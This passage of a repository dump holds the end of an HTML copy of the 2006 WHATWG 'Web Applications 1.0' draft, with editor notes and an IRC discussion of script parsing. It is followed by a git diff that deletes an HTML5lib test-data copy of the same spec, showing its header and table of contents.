attribute from any  <code>command</code> elements with <code>type</code> set to  <code>radio</code> and the same parent element and same  <code>radiogroup</code> attribute, before the event is dispatched in  the document. (If the element has no <code>radiogroup</code>  attribute, then the elements "with the same <code>radiogroup</code>  attribute" are those elements with <em>no</em>  <code>radiogroup</code> attribute.) If the default action of the  event is canceled, the value of the attributes that were changed  must be changed back to the values they had before the event was  dispatched.</p>  <p>In HTML the <code>command</code> element is an empty element with  no end tag.</p>  <p>Authors should put <code>command</code> elements inside the  <code>head</code> element, inside any element that may contain  <span>block-level elements</span> or <span>inline-level  content</span>, or inside <code>commandset</code> elements.</p> <!-+-  should, because hey, if they want to put them elsewhere, why not.  XXX -+->  <p>Authors should not put elements or text inside  <code>command</code> elements.</p>  <p>The <code title="dom-command-ro-command">command</code> DOM attribute  is defined with the <code title="attr-command">command</code>  content attribute.</p>Need to become consistent about whether or not to quote keyword("<code title="">foo</code>" vs <code>foo</code>)  XXX command icons in rendering section:  If the element defining the command has no explicit icon, then the  attribute must instead return the computed value of the CSS '<code  title="">icon</code>' property on that element. <a  href="#refsCSS3UI">[CSS3UI]</a>  If the computed value of '<code title="">icon</code>' is  '<code>auto</code>',search for event-click and make them all point to:<a href="http://www.w3.org/TR/DOM-Level-3-Events/events.html#event-click"><code>click</code></a>...or something.<code>DOMActivate -> <code title="event-DOMActivate">DOMActivateonclick="" only fires if it is a MouseEvent<form> .submit definition - see http://lxr.mozilla.org/mozilla/source/content/html/content/src/nsHTMLFormElement.cpp#600for how to handle multiple calls in serieshttp://lxr.mozilla.org/mozilla/source/content/html/content/src/nsHTMLFormElement.cpp#699How events are handled:http://lxr.mozilla.org/mozilla/ident?i=HandleDOMEventhttp://www.quirksmode.org/js/events_compinfo.htmle.g. mousedown mouseup click mousedown mouseup click dblclickhttp://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/reference/events.asp05:46 <            bz>|Hixie: let's put it this way05:46 <            bz>|Hixie: 1)  A script is executed when its data is available05:47 <            bz>|Hixie: 2) The data for an inline script is available when its </script> is seen05:47 <            bz>|Hixie: 3) The data for a script with src is available when it finishes loading05:47 <            bz>|Hixie: all good so far?05:47 <         Hixie>|i'm waiting for the bit where src= causes blocking in the normal, non-d.w case05:47 <            bz>|Hixie: 4) The data for a script with src starts loading when the <script> node is inserted into the DOM05:48 <        shaver>|it causes parser blocking in the normal case05:48 <            bz>|Hixie: 5)  When such a load starts, all further parsing is suspended until the load has completed and the script has executed.05:48 <            bz>|Hixie: so if we forget document.write05:48 <            bz>|Hixie: and look at the HTML:  <script src="foo"></script><div>05:48 <            bz>|Hixie: the text "<div>" will nto be parsed until after the script runs05:49 <            bz>|Hixie: this is needed so that if the script does document.write that text can be inserted _before_ the "<div>" text into the parser05:49 <         Hixie>|sure05:49 <         Hixie>|all this is fine05:49 <            bz>|Hixie: ok.  So now let's look at our case05:49 <         Hixie>|but how does document.write() know when to return?05:49 -!- davel [davel@moz-4F4E281A.dsl.static.sonic.net] has quit [Quit: davel]05:49 <            bz>|It gives the data to the parser, and tells the parser to parse it05:49 <            bz>|Once the parser returns, document.write returns05:50 <            bz>|The parser returns when it runs out of data to parse (it's parsed it all)05:50 <            bz>|Or if it's explicitly suspended (eg by a <script src="">)05:50 <         Hixie>|AH05:50 <            bz>|All this in Gecko05:50 <         Hixie>|ok that was the key piece of information i was missing05:50 <         Hixie>|the "explicit suspension"05:50 <         Hixie>|okbut test IE on this...XXX publish a "Valid HTML5!" button with a kitten on it. Made by an artist. (Doodle?)XXX rename "Block-level" and "inline-level" to something else toprevent terminology clash with CSS.   Interaction with document.open/write/close is undefined   How to determine the character encoding   Integration with quirks mode problems   <style> parsing needs tweaking if we want to exactly match IE   <base> parsing needs tweaking to handle multiple <base>s   <isindex> needs some prose in the form submission section   No-frames and no-script modes aren't yet defined   Execution of <script> is not yet defined   New HTML5 elements aren't yet defined   There are various cases (marked) where EOF handling is undefined   Interaction with the "load" event is undefinedhsivonen:> To make document conformance a more useful concept for the purpose of catching> author errors, I suggest that the following attributes be made required:> href and rel on link> href on base> name and content on meta (other than the encoding decl)> src on img> code, height and width on applet> name and value on param...> To allow user agents see whether the author provided the empty string as the> alternative text of whether the author just didn't care, I suggest that the> alt attribute on img be made optional.(i agree -ian)...> On the other hand, I have doubts about the requirement of significant> inline content. When the W3C said that paragraphs mustn't be empty,> various applications started emitting <p>AMPERSANDnbsp;</p>. If the WHAT WG says> that paragraphs must contend significant inline content, are the> developers of those applications suddenly going to decide not to allow> them to paragraphs to be saved or are they going to come up with an even> more crufty work-around to comply with the machine-checkable> requirements of the spec?(i agree, i think we should drop "significant inline content". -ian)bjoern:> If the concern here is what the specification should say, then that's> what a valid state is, not what a valid document is, since the class of> "predictably valid" documents does not cover many dynamic documents.arv asks for: a way to track download progress of, e.g., images whenyou are preloading 10 images; cf onprogress on XHR in mozillawindow.getAttention() or some similar API to let the user know thepage wants attention? How do you reduce the chance of irritation?see also https://bugzilla.mozilla.org/show_bug.cgi?id=293412ITEMItems have: - parents, children - properties - commands that can apply to them   <li>Inline markup for pop-up windows, for example for dialog boxes   or tool palettes, so that dialogs need not be defined in separate   files.</li>   <li>Command updating: applications that have several access   points for the same feature, for instance a menu item and a   tool-bar button, would benefit from having to disable such   commands only once, instead of having to keep each access point   synchronized with the feature's availability at all times.   Similarly menu items or tool-bar buttons that represent a toggle   state could automatically stay synchronized whenever   toggled.</li>   <li>More device-independent DOM events: The DOM event set needs   device-independent events, such as events that fire when a button   or link is activated, whether via the mouse or the keyboard.   <code>DOMActivate</code> is a start, but it lacks equivalent HTML   attributes, and additional events may be needed.</li>   <li>Richer widget set: the existing HTML controls are quite   limited, some controls for commonly used types such as date   controls and range controls would be useful.</li>   <li>Sortable and multicolumn tree views and list views with rich   formatting.</li>   <li>Ability to define custom widgets cleanly, for example using   XBL and APIs to query and control focus state, widget state, the   position and state of input devices, etc.</li>   <li>Rich text editing: an underlying architecture upon which   domain-specific editors can be created, including things like   control over the caret position.</li>   <li>A predefined HTML editor based on the rich text editing   architecture.</li>   <li>Drag and drop APIs.</li>   <li>Text selection manipulation APIs.</li>   <li>Clipboard APIs (if the security and privacy concerns can be   addressed).</li>   <li>Flexible box model: The existing box model in CSS is designed   largely for documents rather than user interface. We need a new   box model designed for user interface which would relieve author   complaints about other aspects of CSS and also reduce the need   for tables for layout.</li>   <li>Window-based state management (so that new windows don't   interfere with existing sessions), for example implemented as a   per-domain, per-window "file system". This would allow multiple   instances of the same application (from the same site) to run   without the instances overwriting each other's cookies.</li>   <li>Markup to denote <span>mutually exclusive sections</span> (as   in the commonly seen wizard interfaces).</li>   <li>An improved CSS object model, for example with better APIs   for animation, simpler ways to navigate the rendered content, a   way to find the position of an element, methods to list the   elements under a coordinate, etc.</li>   <li>Better defined user authentication state handling. (Being able   to "log out" of sites reliably, for instance, or being able to   integrate the HTTP authentication model into the Web page.)</li>offline storage / caching pining:http://groups.google.com/group/mozilla.dev.platform/browse_frm/thread/bf866101aa238773/a298294c27b9380a?lnk=gstAMPERSANDq=offlineAMPERSANDrnum=1#a298294c27b9380aDOM0 quirks that Mozilla knows about:http://lxr.mozilla.org/seamonkey/source/dom/src/base/nsDOMClassInfo.cppmutually exclusive sections:  <p class="example">For example, in an application for an online  mutiplayer game, there could be four mutually exclusive sections:  one for the login page, one for the network status page displayed  while the user is logging in, one for a "lobby" where players get  together to organise a game, and one for the actual game. The  different sections are the various states that the application can  reach.</p>-->  <script src="http://status.whatwg.org/annotate-web-apps.js"  type="text/javascript"></script>
diff --git a/attic/vendor/plugins/HTML5lib/testdata/sites/web-apps.htm b/attic/vendor/plugins/HTML5lib/testdata/sites/web-apps.htm
deleted file mode 100755
index e6b0a3e4..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/sites/web-apps.htm
+++ /dev/null
@@ -1,34275 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN">
-
-<html lang=en-GB-hixie>
- <head>
-  <title>Web Applications 1.0</title>
-  <link href="/style/specification" rel=stylesheet type="text/css">
-  <link href="/images/icon" rel=icon>
-
-  <style type="text/css">
-   h4 + .element { margin-top: -2.5em; padding-top: 2em; }
-   h4 + p + .element { margin-top: -5em; padding-top: 4em; }
-   .element { background: #EEFFEE; color: black; margin: 0 0 1em -1em; padding: 0 1em 0.25em 0.75em; border-left: solid #99FF99 0.25em; -padding: 0; /* that last decl is for IE6. Try removing it, it's hilarious! */ }
-   .proposal { border: blue solid; padding: 1em; }
-   table.matrix, table.matrix td { border: none; text-align: right; }
-   table.matrix { margin-left: 2em; }
-  </style>
-
- <body class=draft>
-  <div class=head>
-   <p><a class=logo href="http://www.whatwg.org/" rel=home><img alt=WHATWG
-    src="/images/logo"></a></p>
-
-   <h1 id=web-applications>Web Applications 1.0</h1>
-
-   <h2 class="no-num no-toc" id=working>Working Draft AMPERSANDmdash; 23 December
-    2006</h2>
-
-   <p>You can take part in this work. <a
-    href="http://www.whatwg.org/mailing-list">Join the working group's
-    discussion list.</a></p>
-
-   <dl>
-    <dt>This version:
-
-    <dd><a
-     href="http://www.whatwg.org/specs/web-apps/current-work/">http://www.whatwg.org/specs/web-apps/current-work/</a>
-
-    <dt>Latest version:
-
-    <dd><a
-     href="http://www.whatwg.org/specs/web-apps/current-work/">http://www.whatwg.org/specs/web-apps/current-work/</a>
-
-    <dt>Previous versions:
-
-    <dd><a
-     href="http://www.whatwg.org/specs/web-apps/2006-01-01/">http://www.whatwg.org/specs/web-apps/2006-01-01/</a><!-- (<a href="diff-2006-01-01">diffs</a>)-->
-
-    <dd><a
-     href="http://www.whatwg.org/specs/web-apps/2005-09-01/">http://www.whatwg.org/specs/web-apps/2005-09-01/</a><!-- (<a href="diff-2005-09-01">diffs</a>)-->
-
-    <dd>Version history from 2006-03-01 available by interactive Web
-     interface at: <a
-     href="http://html5.org/tools/specification-diff">http://html5.org/tools/specification-diff</a>
-
-    <dd>Version history from 2006-03-01 available by Subversion interface at:
-     <a href="http://svn.whatwg.org/">http://svn.whatwg.org/</a>
-
-    <dt>Editor:
-
-    <dd>Ian Hickson, Google, ian@hixie.ch
-   </dl>
-
-   <p class=copyright>AMPERSANDcopy; Copyright 2004-2006 Apple Computer, Inc.,
-    Mozilla Foundation, and Opera Software ASA.</p>
-
-   <p class=copyright>You are granted a license to use, reproduce and create
-    derivative works of this document.</p>
-  </div>
-
-  <hr>
-
-  <h2 class="no-num no-toc" id=abstract>Abstract</h2>
-
-  <p>This specification introduces features to HTML and the DOM that ease the
-   authoring of Web-based applications. Additions include the context menus,
-   a direct-mode graphics canvas, inline popup windows, and server-sent
-   events.
-
-  <h2 class="no-num no-toc" id=status>Status of this document</h2>
-
-  <p><strong>This is a work in progress!</strong> This document is changing
-   on a daily if not hourly basis in response to comments and as a general
-   part of its development process. Comments are very welcome, please send
-   them to <a href="mailto:whatwg@whatwg.org">whatwg@whatwg.org</a>. Thank
-   you.
-
-  <p>Implementors should be aware that this specification is not stable.
-   <strong>Implementors who are not taking part in the discussions are likely
-   to find the specification changing out from under them in incompatible
-   ways.</strong> Vendors interested in implementing this specification
-   before it eventually reaches the call for implementations should join the
-   <a href="/mailing-list">WHATWG mailing list</a> and take part in the
-   discussions.
-
-  <p>This draft may contain namespaces that use the <code>uuid:</code> URI
-   scheme. These are temporary and will be changed before those parts of the
-   specification are ready to be implemented in shipping products.
-
-  <p>To find the latest version of this working draft, please follow the
-   "Latest version" link above.
-
-  <p>This specification is intended to replace (be the new version of) what
-   was previously the HTML4, XHTML 1.x, and DOM2 HTML specifications.
-
-  <h3 class="no-num no-toc" id=stability0>Stability</h3>
-
-  <p>Different parts of this specification are at different levels of
-   maturity.
-
-  <div id=stability></div>
-
-  <p class=big-issue>Known issues are usually marked like this. There are
-   some spec-wide issues that have not yet been addressed: first,
-   case-sensitivity is a very poorly handled topic right now; and second,
-   there's a ghost of a <dfn id=documentui>DocumentUI</dfn> interface going
-   around.
-
-  <h2 class="no-num no-toc" id=contents>Table of contents</h2>
-  <!--begin-toc-->
-
-  <ul class=toc>
-   <li><a href="#introduction"><span class=secno>1. </span>Introduction</a>
-    <ul class=toc>
-     <li><a href="#scope"><span class=secno>1.1. </span>Scope</a>
-
-     <li><a href="#structure"><span class=secno>1.2. </span>Structure of this
-      specification</a>
-      <ul class=toc>
-       <li><a href="#how-to"><span class=secno>1.2.1. </span>How to read this
-        specification</a>
-      </ul>
-
-     <li><a href="#conformance"><span class=secno>1.3. </span>Conformance
-      requirements</a>
-      <ul class=toc>
-       <li><a href="#dependencies"><span class=secno>1.3.1.
-        </span>Dependencies</a>
-
-       <li><a href="#features"><span class=secno>1.3.2. </span>Features
-        defined in other specifications</a>
-
-       <li><a href="#relationship"><span class=secno>1.3.3.
-        </span>Relationship to HTML 4.01, XHTML 1.1, DOM2 HTML</a>
-
-       <li><a href="#relationship0"><span class=secno>1.3.4.
-        </span>Relationship to XHTML2</a>
-
-       <li><a href="#relationship1"><span class=secno>1.3.5.
-        </span>Relationship to XUL, WPF/XAML, and other proprietary UI
-        languages</a>
-      </ul>
-
-     <li><a href="#terminology"><span class=secno>1.4. </span>Terminology</a>
-      
-      <ul class=toc>
-       <li><a href="#html-vs"><span class=secno>1.4.1. </span>HTML vs
-        XHTML</a>
-      </ul>
-    </ul>
-
-   <li><a href="#dom"><span class=secno>2. </span>The Document Object
-    Model</a>
-    <ul class=toc>
-     <li><a href="#documents"><span class=secno>2.1. </span>Documents</a>
-      <ul class=toc>
-       <li><a href="#resource"><span class=secno>2.1.1. </span><dfn
-        id=resource0>Resource metadata management</dfn></a>
-      </ul>
-
-     <li><a href="#elements"><span class=secno>2.2. </span>Elements</a>
-      <ul class=toc>
-       <li><a href="#reflecting"><span class=secno>2.2.1. </span>Reflecting
-        content attributes in DOM attributes</a>
-      </ul>
-
-     <li><a href="#common"><span class=secno>2.3. </span>Common DOM
-      interfaces</a>
-      <ul class=toc>
-       <li><a href="#collections"><span class=secno>2.3.1.
-        </span>Collections</a>
-        <ul class=toc>
-         <li><a href="#htmlcollection"><span class=secno>2.3.1.1.
-          </span>HTMLCollection</a>
-
-         <li><a href="#htmlformcontrolscollection"><span class=secno>2.3.1.2.
-          </span>HTMLFormControlsCollection</a>
-
-         <li><a href="#htmloptionscollection"><span class=secno>2.3.1.3.
-          </span>HTMLOptionsCollection</a>
-        </ul>
-
-       <li><a href="#domtokenstring"><span class=secno>2.3.2.
-        </span>DOMTokenString</a>
-
-       <li><a href="#dom-feature"><span class=secno>2.3.3. </span>DOM feature
-        strings</a>
-      </ul>
-
-     <li><a href="#dom-tree"><span class=secno>2.4. </span><dfn
-      id=dom-tree0>DOM tree accessors</dfn></a>
-
-     <li><a href="#dynamic"><span class=secno>2.5. </span><dfn
-      id=dynamic2>Dynamic markup insertion</dfn></a>
-      <ul class=toc>
-       <li><a href="#controlling"><span class=secno>2.5.1. </span>Controlling
-        the input stream</a>
-
-       <li><a href="#dynamic0"><span class=secno>2.5.2. </span>Dynamic markup
-        insertion in HTML</a>
-
-       <li><a href="#dynamic1"><span class=secno>2.5.3. </span>Dynamic markup
-        insertion in XML</a>
-      </ul>
-
-     <li><a href="#apis-in"><span class=secno>2.6. </span>APIs in HTML
-      documents</a>
-    </ul>
-
-   <li><a href="#semantics"><span class=secno>3. </span>Semantics and
-    structure of HTML elements</a>
-    <ul class=toc>
-     <li><a href="#semantics-intro"><span class=secno>3.1.
-      </span>Introduction</a>
-
-     <li><a href="#common0"><span class=secno>3.2. </span>Common
-      microsyntaxes</a>
-      <ul class=toc>
-       <li><a href="#common1"><span class=secno>3.2.1. </span>Common parser
-        idioms</a>
-
-       <li><a href="#numbers"><span class=secno>3.2.2. </span>Numbers</a>
-        <ul class=toc>
-         <li><a href="#unsigned"><span class=secno>3.2.2.1. </span>Unsigned
-          integers</a>
-
-         <li><a href="#signed"><span class=secno>3.2.2.2. </span>Signed
-          integers</a>
-
-         <li><a href="#real-numbers"><span class=secno>3.2.2.3. </span>Real
-          numbers</a>
-
-         <li><a href="#ratios"><span class=secno>3.2.2.4. </span>Ratios</a>
-
-         <li><a href="#percentages-and-dimensions"><span class=secno>3.2.2.5.
-          </span>Percentages and dimensions</a>
-        </ul>
-
-       <li><a href="#dates"><span class=secno>3.2.3. </span>Dates and
-        times</a>
-        <ul class=toc>
-         <li><a href="#specific"><span class=secno>3.2.3.1. </span>Specific
-          moments in time</a>
-
-         <li><a href="#vaguer"><span class=secno>3.2.3.2. </span>Vaguer
-          moments in time</a>
-        </ul>
-
-       <li><a href="#tokens"><span class=secno>3.2.4. </span>Tokens</a>
-      </ul>
-
-     <li><a href="#documents0"><span class=secno>3.3. </span>Documents and
-      document fragments</a>
-      <ul class=toc>
-       <li><a href="#semantics0"><span class=secno>3.3.1.
-        </span>Semantics</a>
-
-       <li><a href="#structure0"><span class=secno>3.3.2.
-        </span>Structure</a>
-
-       <li><a href="#kinds"><span class=secno>3.3.3. </span>Kinds of
-        elements</a>
-        <ul class=toc>
-         <li><a href="#block-level"><span class=secno>3.3.3.1. </span><dfn
-          id=block-level0>Block-level elements</dfn></a>
-
-         <li><a href="#inline-level"><span class=secno>3.3.3.2. </span><dfn
-          id=inline-level0>Inline-level content</dfn></a>
-
-         <li><a href="#determining"><span class=secno>3.3.3.3. </span><dfn
-          id=determining1>Determining if a particular element contains
-          block-level elements or inline-level content</dfn></a>
-
-         <li><a href="#interactive0"><span class=secno>3.3.3.4. </span><dfn
-          id=interactive2>Interactive elements</dfn></a>
-
-         <li><a href="#paragraphs"><span class=secno>3.3.3.5.
-          </span>Paragraphs</a>
-        </ul>
-      </ul>
-
-     <li><a href="#global"><span class=secno>3.4. </span>Global
-      attributes</a>
-      <ul class=toc>
-       <li><a href="#the-id"><span class=secno>3.4.1. </span>The <dfn id=id
-        title=attr-id><code>id</code></dfn> attribute</a>
-
-       <li><a href="#the-title"><span class=secno>3.4.2. </span>The <dfn
-        id=title title=attr-title><code>title</code></dfn> attribute</a>
-
-       <li><a href="#the-lang"><span class=secno>3.4.3. </span>The <dfn
-        id=lang title=attr-lang><code>lang</code></dfn> (HTML only) and <dfn
-        id=xmllang title=attr-xml-lang><code>xml:lang</code></dfn> (XML only)
-        attributes</a>
-
-       <li><a href="#the-dir"><span class=secno>3.4.4. </span>The <dfn id=dir
-        title=attr-dir><code>dir</code></dfn> attribute</a>
-
-       <li><a href="#classes"><span class=secno>3.4.5. </span>Classes</a>
-        <ul class=toc>
-         <li><a href="#predefined"><span class=secno>3.4.5.1.
-          </span>Predefined class names</a>
-          <ul class=toc>
-           <li><a href="#class"><span class=secno>3.4.5.1.1. </span>Class
-            name "<dfn id=copyright
-            title=class-copyright><code>copyright</code></dfn>"</a>
-
-           <li><a href="#class0"><span class=secno>3.4.5.1.2. </span>Class
-            name "<dfn id=error
-            title=class-error><code>error</code></dfn>"</a>
-
-           <li><a href="#class1"><span class=secno>3.4.5.1.3. </span>Class
-            name "<dfn id=example0
-            title=class-example><code>example</code></dfn>"</a>
-
-           <li><a href="#class2"><span class=secno>3.4.5.1.4. </span>Class
-            name "<dfn id=issue
-            title=class-issue><code>issue</code></dfn>"</a>
-
-           <li><a href="#class3"><span class=secno>3.4.5.1.5. </span>Class
-            name "<dfn id=note title=class-note><code>note</code></dfn>"</a>
-
-           <li><a href="#class4"><span class=secno>3.4.5.1.6. </span>Class
-            name "<dfn id=search
-            title=class-search><code>search</code></dfn>"</a>
-
-           <li><a href="#class5"><span class=secno>3.4.5.1.7. </span>Class
-            name "<dfn id=warning
-            title=class-warning><code>warning</code></dfn>"</a>
-          </ul>
-
-         <li><a href="#other"><span class=secno>3.4.5.2. </span>Other
-          classes</a>
-        </ul>
-      </ul>
-
-     <li><a href="#interaction"><span class=secno>3.5. </span><dfn
-      id=interaction1>Interaction</dfn></a>
-      <ul class=toc>
-       <li><a href="#activation"><span class=secno>3.5.1.
-        </span>Activation</a>
-
-       <li><a href="#focus"><span class=secno>3.5.2. </span>Focus</a>
-        <ul class=toc>
-         <li><a href="#focus-management"><span class=secno>3.5.2.1.
-          </span>Focus management</a>
-
-         <li><a href="#sequential"><span class=secno>3.5.2.2.
-          </span>Sequential focus navigation</a>
-        </ul>
-      </ul>
-
-     <li><a href="#the-root"><span class=secno>3.6. </span>The root
-      element</a>
-      <ul class=toc>
-       <li><a href="#the-html"><span class=secno>3.6.1. </span>The <dfn
-        id=html><code>html</code></dfn> element</a>
-      </ul>
-
-     <li><a href="#document"><span class=secno>3.7. </span>Document
-      metadata</a>
-      <ul class=toc>
-       <li><a href="#the-head"><span class=secno>3.7.1. </span>The <dfn
-        id=head><code>head</code></dfn> element</a>
-
-       <li><a href="#the-title0"><span class=secno>3.7.2. </span>The <dfn
-        id=title0><code>title</code></dfn> element</a>
-
-       <li><a href="#the-base"><span class=secno>3.7.3. </span>The <dfn
-        id=base><code>base</code></dfn> element</a>
-
-       <li><a href="#the-link"><span class=secno>3.7.4. </span>The <dfn
-        id=link><code>link</code></dfn> element</a>
-
-       <li><a href="#meta"><span class=secno>3.7.5. </span>The <dfn
-        id=meta0><code>meta</code></dfn> element</a>
-        <ul class=toc>
-         <li><a href="#standard"><span class=secno>3.7.5.1. </span>Standard
-          metadata names</a>
-
-         <li><a href="#other0"><span class=secno>3.7.5.2. </span>Other
-          metadata names</a>
-
-         <li><a href="#charset"><span class=secno>3.7.5.3. </span>Specifying
-          and establishing the document's character encoding</a>
-        </ul>
-
-       <li><a href="#the-style"><span class=secno>3.7.6. </span>The <dfn
-        id=style><code>style</code></dfn> element</a>
-      </ul>
-
-     <li><a href="#sections"><span class=secno>3.8. </span>Sections</a>
-      <ul class=toc>
-       <li><a href="#the-body"><span class=secno>3.8.1. </span>The <dfn
-        id=body><code>body</code></dfn> element</a>
-
-       <li><a href="#the-section"><span class=secno>3.8.2. </span>The <dfn
-        id=section><code>section</code></dfn> element</a>
-
-       <li><a href="#the-nav"><span class=secno>3.8.3. </span>The <dfn
-        id=nav><code>nav</code></dfn> element</a>
-
-       <li><a href="#the-article"><span class=secno>3.8.4. </span>The <dfn
-        id=article><code>article</code></dfn> element</a>
-
-       <li><a href="#the-blockquote"><span class=secno>3.8.5. </span>The <dfn
-        id=blockquote><code>blockquote</code></dfn> element</a>
-
-       <li><a href="#the-aside"><span class=secno>3.8.6. </span>The <dfn
-        id=aside><code>aside</code></dfn> element</a>
-
-       <li><a href="#the-h1"><span class=secno>3.8.7. </span>The <dfn
-        id=h1><code>h1</code></dfn>, <dfn id=h2><code>h2</code></dfn>, <dfn
-        id=h3><code>h3</code></dfn>, <dfn id=h4><code>h4</code></dfn>, <dfn
-        id=h5><code>h5</code></dfn>, and <dfn id=h6><code>h6</code></dfn>
-        elements</a>
-
-       <li><a href="#the-header"><span class=secno>3.8.8. </span>The <dfn
-        id=header><code>header</code></dfn> element</a>
-
-       <li><a href="#the-footer"><span class=secno>3.8.9. </span>The <dfn
-        id=footer><code>footer</code></dfn> element</a>
-
-       <li><a href="#the-address"><span class=secno>3.8.10. </span>The <dfn
-        id=address><code>address</code></dfn> element</a>
-
-       <li><a href="#headings"><span class=secno>3.8.11. </span><dfn
-        id=headings0>Headings and sections</dfn></a>
-        <ul class=toc>
-         <li><a href="#outlines"><span class=secno>3.8.11.1. </span>Creating
-          an outline</a>
-
-         <li><a href="#associatedSection"><span class=secno>3.8.11.2.
-          </span>Determining which heading and section applies to a
-          particular node</a>
-        </ul>
-      </ul>
-
-     <li><a href="#prose"><span class=secno>3.9. </span>Prose</a>
-      <ul class=toc>
-       <li><a href="#the-p"><span class=secno>3.9.1. </span>The <dfn
-        id=p><code>p</code></dfn> element</a>
-
-       <li><a href="#the-hr"><span class=secno>3.9.2. </span>The <dfn
-        id=hr><code>hr</code></dfn> element</a>
-
-       <li><a href="#the-br"><span class=secno>3.9.3. </span>The <dfn
-        id=br><code>br</code></dfn> element</a>
-
-       <li><a href="#the-dialog"><span class=secno>3.9.4. </span>The <dfn
-        id=dialog><code>dialog</code></dfn> element</a>
-      </ul>
-
-     <li><a href="#preformatted"><span class=secno>3.10. </span>Preformatted
-      text</a>
-      <ul class=toc>
-       <li><a href="#the-pre"><span class=secno>3.10.1. </span>The <dfn
-        id=pre><code>pre</code></dfn> element</a>
-      </ul>
-
-     <li><a href="#lists"><span class=secno>3.11. </span>Lists</a>
-      <ul class=toc>
-       <li><a href="#the-ol"><span class=secno>3.11.1. </span>The <dfn
-        id=ol><code>ol</code></dfn> element</a>
-
-       <li><a href="#the-ul"><span class=secno>3.11.2. </span>The <dfn
-        id=ul><code>ul</code></dfn> element</a>
-
-       <li><a href="#the-li"><span class=secno>3.11.3. </span>The <dfn
-        id=li><code>li</code></dfn> element</a>
-
-       <li><a href="#the-dl"><span class=secno>3.11.4. </span>The <dfn
-        id=dl><code>dl</code></dfn> element</a>
-
-       <li><a href="#the-dt"><span class=secno>3.11.5. </span>The <dfn
-        id=dt><code>dt</code></dfn> element</a>
-
-       <li><a href="#the-dd"><span class=secno>3.11.6. </span>The <dfn
-        id=dd><code>dd</code></dfn> element</a>
-      </ul>
-
-     <li><a href="#phrase"><span class=secno>3.12. </span>Phrase elements</a>
-      
-      <ul class=toc>
-       <li><a href="#the-a"><span class=secno>3.12.1. </span>The <dfn
-        id=a><code>a</code></dfn> element</a>
-
-       <li><a href="#the-q"><span class=secno>3.12.2. </span>The <dfn
-        id=q><code>q</code></dfn> element</a>
-
-       <li><a href="#the-cite"><span class=secno>3.12.3. </span>The <dfn
-        id=cite><code>cite</code></dfn> element</a>
-
-       <li><a href="#the-em"><span class=secno>3.12.4. </span>The <dfn
-        id=em><code>em</code></dfn> element</a>
-
-       <li><a href="#the-strong"><span class=secno>3.12.5. </span>The <dfn
-        id=strong><code>strong</code></dfn> element</a>
-
-       <li><a href="#the-small"><span class=secno>3.12.6. </span>The <dfn
-        id=small><code>small</code></dfn> element</a>
-
-       <li><a href="#the-m"><span class=secno>3.12.7. </span>The <dfn
-        id=m><code>m</code></dfn> element</a>
-
-       <li><a href="#the-dfn"><span class=secno>3.12.8. </span>The <dfn
-        id=dfn><code>dfn</code></dfn> element</a>
-
-       <li><a href="#the-abbr"><span class=secno>3.12.9. </span>The <dfn
-        id=abbr><code>abbr</code></dfn> element</a>
-
-       <li><a href="#the-time"><span class=secno>3.12.10. </span>The <dfn
-        id=time><code>time</code></dfn> element</a>
-
-       <li><a href="#the-meter"><span class=secno>3.12.11. </span>The <dfn
-        id=meter><code>meter</code></dfn> element</a>
-
-       <li><a href="#the-progress"><span class=secno>3.12.12. </span>The <dfn
-        id=progress><code>progress</code></dfn> element</a>
-
-       <li><a href="#the-code"><span class=secno>3.12.13. </span>The <dfn
-        id=code><code>code</code></dfn> element</a>
-
-       <li><a href="#the-var"><span class=secno>3.12.14. </span>The <dfn
-        id=var><code>var</code></dfn> element</a>
-
-       <li><a href="#the-samp"><span class=secno>3.12.15. </span>The <dfn
-        id=samp><code>samp</code></dfn> element</a>
-
-       <li><a href="#the-kbd"><span class=secno>3.12.16. </span>The <dfn
-        id=kbd><code>kbd</code></dfn> element</a>
-
-       <li><a href="#the-sup"><span class=secno>3.12.17. </span>The <dfn
-        id=sup><code>sup</code></dfn> and <dfn id=sub><code>sub</code></dfn>
-        elements</a>
-
-       <li><a href="#the-span"><span class=secno>3.12.18. </span>The <dfn
-        id=span><code>span</code></dfn> element</a>
-
-       <li><a href="#the-i"><span class=secno>3.12.19. </span>The <dfn
-        id=i><code>i</code></dfn> element</a>
-
-       <li><a href="#the-b"><span class=secno>3.12.20. </span>The <dfn
-        id=b><code>b</code></dfn> element</a>
-
-       <li><a href="#the-bdo"><span class=secno>3.12.21. </span>The <dfn
-        id=bdo><code>bdo</code></dfn> element</a>
-      </ul>
-
-     <li><a href="#edits"><span class=secno>3.13. </span>Edits</a>
-      <ul class=toc>
-       <li><a href="#the-ins"><span class=secno>3.13.1. </span>The <dfn
-        id=ins><code>ins</code></dfn> element</a>
-
-       <li><a href="#the-del"><span class=secno>3.13.2. </span>The <dfn
-        id=del><code>del</code></dfn> element</a>
-
-       <li><a href="#attributes"><span class=secno>3.13.3. </span>Attributes
-        common to <code>ins</code> and <code>del</code> elements</a>
-      </ul>
-
-     <li><a href="#embedded"><span class=secno>3.14. </span>Embedded
-      content</a>
-      <ul class=toc>
-       <li><a href="#the-img"><span class=secno>3.14.1. </span>The <dfn
-        id=img><code>img</code></dfn> element</a>
-
-       <li><a href="#the-iframe"><span class=secno>3.14.2. </span>The <dfn
-        id=iframe><code>iframe</code></dfn> element</a>
-
-       <li><a href="#the-embed"><span class=secno>3.14.3. </span>The <dfn
-        id=embed><code>embed</code></dfn> element</a>
-
-       <li><a href="#the-object"><span class=secno>3.14.4. </span>The <dfn
-        id=object><code>object</code></dfn> element</a>
-
-       <li><a href="#the-param"><span class=secno>3.14.5. </span>The <dfn
-        id=param><code>param</code></dfn> element</a>
-
-       <li><a href="#the-canvas"><span class=secno>3.14.6. </span>The <dfn
-        id=canvas0><code>canvas</code></dfn> element</a>
-        <ul class=toc>
-         <li><a href="#the-2d"><span class=secno>3.14.6.1. </span>The 2D
-          context</a>
-          <ul class=toc>
-           <li><a href="#the-canvas0"><span class=secno>3.14.6.1.1.
-            </span>The canvas state</a>
-
-           <li><a href="#transformations"><span class=secno>3.14.6.1.2.
-            </span><dfn id=transformations0>Transformations</dfn></a>
-
-           <li><a href="#compositing"><span class=secno>3.14.6.1.3.
-            </span>Compositing</a>
-
-           <li><a href="#colors"><span class=secno>3.14.6.1.4. </span>Colors
-            and styles</a>
-
-           <li><a href="#line-styles"><span class=secno>3.14.6.1.5.
-            </span>Line styles</a>
-
